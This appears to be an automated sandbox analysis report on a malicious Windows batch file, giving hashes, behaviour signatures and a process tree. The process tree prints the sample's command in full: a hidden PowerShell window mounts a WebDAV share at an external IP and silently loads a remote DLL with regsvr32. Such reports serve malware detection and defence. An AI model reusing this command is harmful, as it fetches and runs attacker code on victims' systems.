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Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 20:00

General

  • Target

    158686892482627479.bat

  • Size

    11KB

  • MD5

    c22dcfb899e5397b7e95109741260294

  • SHA1

    a665343c06e321f42638a4cc267b5569ee6ca372

  • SHA256

    36dc7c49ff2b11d6a64393062d1e52981613a6cbcc108cbdb10ee89176f61b11

  • SHA512

    57202733dbff145f22a7a33ade0d8a0a243b9e864e5c1f3e9c01f30e50cf49e7507365f1e3a566e91bf1537b33185811817d817d1012f1b334c90a43723f8616

  • SSDEEP

    192:qPNI47Xewdyf99BS991oEU5vQGfyf/GnvLS2yd2FxOwrZQT0G+6:8NIm3dyf99A99+EU5vQXnGnvLS2jFx1O

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\158686892482627479.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\28079212083825.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2900
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\28079212083825.dll
          3⤵
            PID:2996

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/1816-21-0x000000001B520000-0x000000001B802000-memory.dmp

        Filesize

        2.9MB

      • memory/1816-22-0x00000000027E0000-0x00000000027E8000-memory.dmp

        Filesize

        32KB